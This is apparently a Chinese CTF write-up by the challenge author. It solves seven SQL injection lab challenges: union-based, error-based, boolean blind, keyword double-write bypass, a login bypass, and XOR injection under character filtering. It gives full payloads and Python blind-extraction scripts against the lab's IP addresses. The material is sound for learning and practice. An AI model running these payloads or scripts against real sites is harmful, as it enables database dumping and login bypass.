sql01:(GET-无任何过滤)http://49.234.136.46:32711/index01.php
首先题目提示要输入id,那就在url中加入?id=1得到:发现给了两个回显位
给出提示信息: flag in another table!(假装自己不是出题人,哈哈哈哈哈)
然后需要找出id的闭合方式: ?id=1' (报错) ?id=1' %23(正常, %23为 # 注释符,后面的语句被注释掉 )
当用单引号闭合时,发现有报错,确定id的闭合方式是 单引号
ok,现在得到的有用信息: 两个回显位 闭合方式为 单引号
可用的 注入方式: 联合查询 报错注入 …………
(一 )联合查询:
先用 order by 测 数据库当前表的 字段数(列数):
?id=1' order by 2 %23 //正常
?id=1' order by 3 %23 // 报错
说明 有 2 个字段
爆库名:
?id=-1' union select 1,database() %23
得到数据库名: test_flag
爆表名:
?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() %23
得到两个表 : flag 和 users (因为前面提示说 flag 在另一个表里面 那我们只用去 注入 flag 表就行了)
爆 字段:
?id=-1' union select 1,group_concat(column_name)from information_schema.columns where table_name = 'flag' %23
得到两个字段 id message
脱库:(0x7e 是十六进制的 ~ )
?id=-1' union select 1,group_concat(id,0x7e,message)from flag %23
得到 flag : flag{SDUT-HEIHEI-HAHA}
(二)报错注入:
常用的 两种简单的报错注入方式:
?id=1' and extractvalue(1,concat(0x7e,(payload))) %23
?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23
这里用 第一种 做一个实例:
//爆库名
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23
只需要将下面的语句放入 payload 位置就可以了
//爆表名
select group_concat(table_name) from information_schema.tables where table_schema = database()
//爆字段
select group_concat(column_name) from information_schema.columns where table_name = 'flag'
//脱库
select group_concat(id,0x3a,message) from flag
SQL2 : 单引号-GET型-报错注入 http://49.234.136.46:32711/ind02.php
提示让输入 id,那就输入 ?id=1 依次输入 2,3,4,都是这个界面,没给回显位
测闭合方式: 注入 ?id=1' (报错) ?id=1' %23(正常, %23为 # 注释符,后面的语句被注释掉 )
说明闭合方式是 单引号
那这题最适合的注入方式是 报错注入
报错注入:
常用的 两种简单的报错注入方式:
?id=1' and extractvalue(1,concat(0x7e,(payload))) %23
?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23
爆库名:
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23
爆表名:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) %23
得到两个表:sql2_flag users
爆字段:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = 'sql2_flag'))) %23
脱库:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,message) from sql2_flag ))) %23
这里发现 信息没有输出完 被截断了 这是因为 extractvalues()函数 和 updatexml ()这两个函数 最多能输出 32位字符
所以这里我们 不采用 group_concat() 函数 换用 concat() + limit x,x 进行一行一行输出
//这里需要不断改变 limit x,1 进行换行
?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 0,1))) %23
?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 1,1))) %23
SQL3 : 单引号-GET型-布尔/延时注入-无过滤
http://49.234.136.46:32711/in03d.php
注入: ?id=1
注入 ?id=1' 不会报错 , 不能用 报错注入
注入 ?id=1' and '1' ='1' %23
确定 闭合方式是 单引号闭合
肯定是用盲注 具体是用 延时注入 还是 布尔注入 取决于个人喜好
手工 注入可能得 注入一辈子
布尔注入的原理:具体自己去百度:
如果用 布尔注入的话 还是得
先 看 正确时 返回的页面内容长度 526
错误时 返回的页面内容长度 496
我们就利用这一点 去一个一个字符地爆破
比如:注入:
admin'and ascii(substr((database()),1,1))=117 #
//字母 u 的 ascii是 117
这里是截取 查询到的数据库名 的第一个字母 然后与 字符 'u' 对比 如果 数据库名的第一个字母是 u
这句话就是 是正确的 就代表 username 是 正确的 返回的页面内容大小为 526
若 数据库名的第一个字母不是 u ,这个注入语句就是 flase 即 username是错误的 ,返回页面内容的大小为 496
直接上脚本:python3
import requests
result = ""
url_template = "http://49.234.136.46:32711/in03d.php?id=2' and ascii(substr(({0}),{1},1))>{2} %23"
chars = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz,.@&%/^!{}~"
url_length = "http://49.234.136.46:32711/in03d.php?id=2' and length(({0})) >{1} %23"
def get_result_length(payload,value):
for n in range(1,100):
url = url_length.format(payload,n)
response = requests.get(url)
length = len(response.text)
if length < value:
print("……data length is :" + str(n))
return n
def get_db_name(data_length,payload,value):
for i in range(1,data_length):
for char in chars:
url = url_template.format(payload,i,ord(char))
response = requests.get(url)
length = len(response.text)
if length<value: #根据返回长度的不同来判断字符正确与否
global result
result += char
print("…… data is :"+ result)
break
#自定义 sql注入语句 payload 分割符 为0
payload = "select database() "
# 根据正确访问时错误访问时返回页面文本长度的不同 来设置一个判断值 正确时 返回字节长度是 526 错误时返回字节长度是 496
value = 510
data_length = get_result_length(payload,value)+1
get_db_name(data_length,payload,value)
print(result)
只需要改变 payload 语句就可以实现 爆库名 、表名、字段、脱库等操作
这里给出具体的payload:
//爆库名
select database()
只需要将下面的语句放入 payload 位置就可以了
//爆表名
select group_concat(table_name) from information_schema.tables where table_schema = database()
//爆字段
select group_concat(column_name) from information_schema.columns where table_name = 'SDUT_flag'
//脱库
select group_concat(username,password) from SDUT_flag
select concat(username,0x3a,password) from SDUT_flag limit 3,1
数据库名:
最终得到 flag:flag{SDUT_hei-hei-hei}
这里附上 我的另一篇博客的 连接 有兴趣的同学可以看看:(我好难啊! 自己出题,自己搭建服务,自己写题解,呜呜)
SQL 盲注GET /POST、布尔型,延时型Python脚本:
https://blog.csdn.net/vhkjhwbs/article/details/98960802
有不懂的可以联系我 qq:1571625800
再说一下 脚本中 的 value 是怎么找的:Firefox 中 按F12 ,然后在url中 注入 刷新
SQL4 : 单引号-GET型-过滤or和and-双写绕过
http://49.234.136.46:32711/i04dx.php
注入 ?id=1 给了一个回显位
注入 ?id=2' 有报错 可以用报错注入
注入 ?id=2' and '1' ='1' %23 还是报错 ??? 不应该啊
仔细看看报错 发现 and 没了:应该是被过滤了
还过滤了啥呢??? 找找提示:
查看页面源代码:发现有一个提示:
是一个base 64 密文 在线解密后得到:
Your 'and' and 'or' are filtered 说 and 和 or 被过滤了
ok ,用一下双写绕过,看可不可以,注入: ?id=1' anandd '1' = '1' %23 正常了
看来可以用 双写绕过
不管是用 联合查询 还是用 报错注入,还是 盲注 在涉及到 and 和 or 这两个字符时需要双写
anandd
oorr
给出脱库的 payload:(特别注意在使用 information_schema 时 要双写成 infoorrmation_schema ,passwoorrd)
在用联合查询时 要先测 用 order by 字段数 (双写 oorrder by) 这里测得字段数为 3,且回显位 在 1 号位
?id=-1' union select group_concat(username,0x7e,passwoorrd),2,3 from ctf %23
flag~flag{daye-lpl-RNG}
SQL5 : POST型-无过滤 http://47.94.36.51:32710/index.php
随便输入: admin admin 没想到 登录成功 :有两个回显位,可以回显信息
输入别的 就会出现 usernname or password error!
首先 测 闭合方式:
//在username中注入:
admin' // usernname or password error!
admin' # //登入
a' or '1' ='1' # //万能密码 #会把 后面的password验证注释掉 所以不用填密码
确定闭合方式为 单引号闭合
因为没有报错 所以不能用 报错注入
用联合查询 或者 盲注 都是 可以的
联合查询:
以下注入 都是 在username中注入的 ,password可以不填(因为已经被#注释掉了)
测 字段个数:说明有 2 个字段
admin' order by 2 # // 正确
admin' order by 3 # //错误
爆库名:
a' union select 1,database() #
爆表名
a' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() #
爆字段::
a' union select 1,group_concat(column_name)from information_schema.columns where table_schema = 'users' #
脱库:
a' union select 1,group_concat(username,0x3a,password) from users #
flag:flag{LH-quan-shi_jie_zui_shuai}
SQL6 : POST型-布尔/延时注入 http://47.94.36.51:32711/index.php
随便输入 asss 和 sdfasd 提示 username error!
输入: admin 和 admin 提示password error ! (可知,有一个username 为 admin,页面源代码中给的 tip 也证实这一点, 其实这些题就是我出的,假装自己不是出题人系列 哈哈哈哈哈哈哈)
还是先测闭合方式:
在username 中输入: 闭合方式为 单引号
admin' //username error!
admin' # //password error!
发现页面只会 输出 username error 和 password error
不会报错,也没有回显位 ,那只能用 盲注延时或者布尔了
知道了一个用户名为 admin 那爆出 admin的密码不就可以得到flag了嘛!
注入点 在 username
如果用 布尔注入的话 还是得
先 看 username正确时 返回的页面内容长度 2859
username 错误时 返回的页面内容长度 2829
我们就利用这一点 去一个一个字符地爆破
比如:注入:
admin'and ascii(substr((database()),1,1))=117 #
//字母 u 的 ascii是 117
这里是截取 查询到的数据库名 的第一个字母 然后与 字符 'u' 对比 如果 数据库名的第一个字母是 u
这句话就是 是正确的 就代表 username 是 正确的 返回的页面内容大小为 2859
若 数据库名的第一个字母不是 u ,这个注入语句就是 flase 即 username是错误的 ,返回页面内容的大小为 2829
Firefox 中 按 F12 点网络 ,然后分别输入正确的username 和错误的username
查看 响应包信息:
上代码:
import requests
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""
def get_length(value): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length >value:
print("……data length is :" + str(n))
return n
def get_data(data_length,value): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length>value: #根据返回长度的不同来判断字符正确与否
result += char
print("…… data is :"+ result)
break
url = "http://47.94.36.51:32711/index.php"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 2840 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看
length = get_length(value) +1
get_data(length,value)
print(result)
表名:
改一下payload就可以 爆其他的信息:
脱库:
data_payload = "select password from users where username='admin'"
得到,密码:asdfasdfasdfsddd
输入 admin 和asdfasdfasdfsddd 得到flag:
是一段base 64 密文:ZmxhZ3tJJ20tc3VwZXJtYW59ICAgIAoKCg==
解密:flag{I'm-superman}
有兴趣的话可以研究一下 延时的脚本
可以参照我的另一篇博客:https://blog.csdn.net/vhkjhwbs/article/details/98960802
有不懂的可以联系我 qq:1571625800
SQL7 : POST型-几乎过滤所有字符-异或注入
http://47.94.36.51:32710/lalala.html
这个题有点难度的,
输入 admin admin 提示 : password error!
输入 admin' admin' 提示: username error!
输入 admin' # 提示: Illegal character (这里不能确定到底谁是非法字符,需要进一步测试)
输入 admin'# 提示: password error!
通过以上 输入 知道了 有一个用户名为 admin
闭合方式为 单引号
有部分字符被过滤了 (不知道到底有哪些字符被过滤了,怎么办???)
肯定先要测试 有哪些字符被过滤了啊!
首先看看有没有给提示:
在第一页的源代码里找到了这个提示:
说经常查看页面源代码是一个好习惯
那肯定有信息在 页面源代码里了,找找看:
在第二页的 页面源代码里找到了 一段base 64 密文:
如果你是用 burp suite做代理做本题的话 很容易就会发现 这个tip:
base 64 密文:
ICAgICRkYXRhPSBwcmVnX3JlcGxhY2UoJy9bK10vJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL1ssXS8nLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvWyBdLycsIiIsICRkYXRhKTsJICAgIAogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyYvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyUvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL3VuaW9uL2knLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvYW5kL2knLCIiLCAkZGF0YSk7ICAgIA==
解密:把下面的字符全过滤
$data= preg_replace('/[+]/',"", $data);
$data= preg_replace('/[,]/',"", $data);
$data= preg_replace('/[ ]/',"", $data);
$data= preg_replace('/&/',"", $data);
$data= preg_replace('/%/',"", $data);
$data= preg_replace('/union/i',"", $data);
$data= preg_replace('/and/i',"", $data);
过滤了 union 不能用 联合查询
过滤了 逗号 srtsub()函数就不能按照常规用法
过滤了 空格 ,尽量避免用 空格,在需要用到空格的地方 就 用()代替
上脚本:
import requests
url = "http://47.94.36.51:32710/xxxg.php"
char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ''
for i in range(1,45):
stop = 0
for c in char:#两个payload的表达方式不同 都是可以用的 ,任选其一
#payload = "admin'^(ascii(mid((select(password)from(users)where(username)='admin')from({})))<>{})^0#".format(str(i),ord(c))
payload = "admin'^(ascii(substr((select(password)from(users)where(username)='admin')from({0})))<>{1})^0#".format(str(i),ord(c))
data = {
'username': payload,
'password': '123'
}
html = requests.post(url, data=data)
if 'password' in html.text:
result +=c
stop =1
print(i)
print("......" + result)
break #匹配到值后内循环停止
if stop == 0: #当内循环匹配不到值的时候外循环就停止
print("\n"+result)
break
得到admin的密码 : wotianxiawudi
登录后得到:
flag{SDUT-wonderful-sss}
如果有什么不懂可以联系我q 1571625800